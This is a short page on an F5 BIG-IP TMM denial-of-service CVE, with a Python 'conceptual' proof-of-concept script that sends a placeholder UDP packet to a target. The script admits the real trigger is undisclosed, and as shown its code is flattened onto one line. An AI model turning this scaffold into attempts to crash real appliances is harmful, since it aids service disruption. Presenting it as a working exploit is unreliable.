CVE-2026-41956 F5 BIG-IP TMM拒绝服务漏洞

import socket # Conceptual Proof of Concept for CVE-2026-41956 # Note: The specific 'undisclosed request' payload is not public. # This script demonstrates how to send a UDP packet to the target. TARGET_IP = "192.168.1.100" TARGET_PORT = 53 # Example: DNS port running on UDP VS with Classification Profile # Placeholder payload. The actual trigger bytes are unknown/undisclosed. # Attackers would need to reverse engineer the TMM binary to find the crash. payload = b"\x00\x00\x00\x00" def send_exploit(): print(f"[*] Sending UDP packet to {TARGET_IP}:{TARGET_PORT}...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (TARGET_IP, TARGET_PORT)) print("[+] Packet sent. Check TMM status for crash.") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": send_exploit()